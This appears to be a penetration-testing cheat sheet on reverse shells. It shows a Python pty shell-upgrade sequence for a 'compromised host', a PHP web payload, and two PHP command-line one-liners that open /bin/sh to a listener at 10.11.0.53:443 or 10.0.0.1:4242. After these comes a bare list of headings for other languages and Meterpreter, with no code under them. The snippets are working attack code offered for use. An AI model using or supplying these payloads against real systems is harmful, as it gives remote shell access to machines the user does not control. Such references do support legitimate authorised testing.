Reverse Shells
Upgrade your shell, upgrade your life
Python Upgrade
# On compromised host
python -c 'import pty; pty.spawn("/bin/bash")'
# ctrl-z
# While terminal session backgrounded
stty raw -echo
fgReverse Shell Snippets
PHP
Payload
<?php $sock=fsockopen("10.11.0.53", 443); proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>Command line
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'Bash
Bash TCP
Bash UDP
Socat
Perl
Python
Linux only
Windows only
Ruby
Golang
Netcat Traditional
Netcat OpenBSD
Ncat
OpenSSL
Powershell
Awk
Java
Java Alternative 1
Java Alternative 2
War
Lua
Linux only
Windows and Linux
NodeJS
Groovy
Groovy Alternative 1
Meterpreter Shell
Windows Staged reverse TCP
Windows Stageless reverse TCP
Linux Staged reverse TCP
Linux Stageless reverse TCP
Other platforms
Spawn TTY Shell
Fully interactive reverse shell on Windows
References
Last updated